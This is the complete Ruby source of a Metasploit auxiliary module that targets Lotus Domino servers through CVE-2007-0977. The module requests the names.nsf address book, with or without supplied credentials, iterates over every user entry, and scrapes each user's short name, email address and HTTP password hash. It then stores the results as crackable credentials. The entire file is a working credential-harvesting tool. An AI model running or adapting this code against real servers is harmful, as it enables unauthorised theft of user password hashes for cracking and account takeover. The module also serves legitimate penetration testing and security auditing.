Lotus Domino Password Hash Collector

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Lotus Domino Password Hash Collector',  
'Description' => 'Get users passwords hashes from names.nsf page',  
'Author' => 'Tiago Ferreira <tiago.ccna[at]gmail.com>',  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE' , '2007-0977']  
]  
)  
  
register_options(  
[  
OptString.new('NOTES_USER', [false, 'The username to authenticate as', '']),  
OptString.new('NOTES_PASS', [false, 'The password for the specified username' ]),  
OptString.new('URI', [false, 'Define the path to the names.nsf file', '/names.nsf'])  
])  
end  
  
def post_auth?  
true  
end  
  
def run_host(ip)  
user = datastore['NOTES_USER']  
pass = datastore['NOTES_PASS']  
@uri = normalize_uri(datastore['URI'])  
  
if user.eql?('') && pass.eql?('')  
print_status("#{peer} - Lotus Domino - Trying dump password hashes without credentials")  
  
begin  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{@uri}\/$defaultview?Readviewentries",  
}, 25)  
  
if res.nil?  
print_error('Connection failed')  
return  
end  
  
if res && res.body.to_s =~ /\<viewentries/  
print_good("#{peer} - Lotus Domino - OK names.nsf accessible without credentials")  
cookie = ''  
get_views(cookie, @uri)  
  
elsif res && res.body.to_s =~ /names.nsf\?Login/  
print_error("#{peer} - Lotus Domino - The remote server requires authentication")  
return :abort  
  
else  
print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")  
vprint_error(res.to_s)  
return :abort  
  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
  
else  
print_status("#{peer} - Lotus Domino - Trying dump password hashes with given credentials")  
do_login(user, pass)  
end  
end  
  
def do_login(user = nil, pass = nil)  
post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"  
  
begin  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => '/names.nsf?Login',  
'data' => post_data  
}, 20)  
  
if res.nil?  
print_error("#{peer} - Connection timed out")  
return  
end  
  
if res && res.code == 302  
if res.get_cookies =~ /DomAuthSessId=(.*);(.*)/i  
cookie = "DomAuthSessId=#{$1}"  
elsif res.get_cookies =~ /LtpaToken=(.*);(.*)/i  
cookie = "LtpaToken=#{$1}"  
else  
print_error("#{peer} - Lotus Domino - Unrecognized 302 response")  
return :abort  
end  
print_good("#{peer} - Lotus Domino - SUCCESSFUL authentication for '#{user}'")  
print_status("#{peer} - Lotus Domino - Getting password hashes")  
get_views(cookie, @uri)  
  
elsif res && res.body.to_s =~ /names.nsf\?Login/  
print_error("#{peer} - Lotus Domino - Authentication error: failed to login as '#{user}'")  
return :abort  
  
else  
print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")  
return :abort  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
  
def get_views(cookie, uri)  
begin  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{uri}\/$defaultview?Readviewentries",  
'cookie' => cookie  
}, 25)  
if res && res.body  
max = res.body.scan(/siblings=\"(.*)\"/).first.join  
  
1.upto(max.to_i) do |i|  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{uri}\/$defaultview?Readviewentries&Start=#{i}",  
'cookie' => cookie  
}, 25)  
  
view_id = res.body.scan(/unid="([^\s]+)"/)[0].join  
dump_hashes(view_id, cookie, uri)  
end  
  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
  
def dump_hashes(view_id, cookie, uri)  
begin  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{uri}\/$defaultview/#{view_id}?OpenDocument",  
'cookie' => cookie  
}, 25)  
  
if res && res.body  
doc = res.get_html_document  
short_name = doc.xpath('//input[@name="ShortName"]/@value').text  
user_mail = doc.xpath('//input[@name="InternetAddress"]/@value').text  
pass_hash = doc.xpath('//input[@name="$dspHTTPPassword" or @name="dspHTTPPassword"]/@value').first&.text  
  
short_name = 'NULL' if short_name.to_s.strip.empty?  
user_mail = 'NULL' if user_mail.to_s.strip.empty?  
pass_hash = 'NULL' if pass_hash.to_s.strip.empty?  
  
print_good("#{peer} - Lotus Domino - Account Found: #{short_name}, #{user_mail}, #{pass_hash}")  
  
if pass_hash != 'NULL'  
domino_svc = report_service(  
:host => rhost,  
:port => rport,  
:name => (ssl ? 'https' : 'http')  
)  
  
report_cred(  
user: short_name,  
password: pass_hash,  
proof: "WEBAPP=\"Lotus Domino\", USER_MAIL=#{user_mail}, HASH=#{pass_hash}, VHOST=#{vhost}"  
)  
end  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
  
def report_cred(opts)  
  
service_data = service_details.merge({workspace_id: myworkspace_id})  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :nonreplayable_hash,  
jtr_format: 'dominosec'  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
end  
`